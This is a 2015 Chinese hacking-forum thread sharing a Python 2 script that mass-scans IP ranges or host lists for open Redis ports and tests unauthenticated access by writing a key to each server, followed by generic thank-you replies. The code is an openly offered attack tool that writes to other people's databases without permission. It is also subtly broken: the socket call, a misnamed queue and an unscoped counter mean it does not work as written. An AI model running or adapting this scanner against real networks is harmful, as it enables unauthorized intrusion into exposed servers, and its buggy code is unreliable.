查看: 99093|回复: 892

[Python] redis未授权访问批量扫描脚本

[复制链接]
发表于 2015-11-16 18:13:53 | 显示全部楼层 |阅读模式
本帖最后由 王珂 于 2015-11-16 18:31 编辑

实现功能:
redis未授权批量访问

首先会扫描端口开放的主机,然后测试是否存在未授权访问,提高速度

使用帮助:
从文本中读取内容
python redis.py -f finename
扫描C段
python redis.py -t 127.0.0.1/24 -p 6379

代码:
[Python] 纯文本查看 复制代码
#coding-utf-8
#author:i3esn0w

import redis
import ipaddr
import threading
import Queue
import sys
import socket
import time
import optparse

reload(sys)
sys.setdefaultencoding("utf8")

count=0
hosts=Queue.Queue()
targets=Queue.Queue()
def get_all_host(filename):
	with open(filename,"r") as f :
		for host in f.readlines():
			host=host.strip()
			hosts.put(host)
class host_alive(threading.Thread):
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue=queue
	def run(self):
		while True:
			t=self.queue.get()
			host=t.split(":")
			port=host[1]
			host=host[0]
			try:
				s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
				s.connect(host,int(port))
				print "%s:%s port open!"%(host,port)
				target.put((host,port))
			except Exception, e:
				pass
			finally:s.close()
			time.sleep(0.00000001)
			self.queue.task_done()

class exploit_redis(threading.Thread):
	def  __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue=queue
	def run(self):
		while True:
			host,port=self.queue.get()
			host=host.__str__()
			try:
				p=redis.Redis(host=host,port=port)
				p.set("hello","redis")
				print "%s:%s Unauthorized"%(host,port)
				count+=1
			except Exception, e:
				pass
	


def main():
	option=optparse.OptionParser()
	option.add_option('-f',dest='filename',default='')
	option.add_option('-t',dest='host',default='')
	option.add_option('-p',dest='port',default='6379')
	(options, args) = option.parse_args()
	if not options.filename=="":
		get_all_host(options.filename)
	if not options.host=="":
		tars = ipaddr.IPv4Network(options.host)
		for target in tars:
			hosts.put(("%s:%s")%(target,options.port))
	if options.filename=="" and options.host=="":
		exit(0)
	for i in range(20):
		t=host_alive(hosts)
		t.setDaemon(True)
		t.start()
	for i in range(20):
		t=exploit_redis(targets)
		t.setDaemon(True)
		t.start()	
	print "Find %s targets"%count


    	
	




if __name__ == '__main__':
	main()


评分

参与人数 1i币 +7 收起 理由
浮尘 + 7 感谢分享

查看全部评分

回复

使用道具 举报

发表于 2015-11-16 19:33:09 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-11-17 20:20:39 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-11-17 23:40:32 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-11-18 10:12:38 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-11-19 01:33:46 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-11-19 20:26:13 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-11-20 11:34:11 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-11-20 15:18:39 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-11-21 13:16:00 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 03:01 , Processed in 0.025502 second(s), 13 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部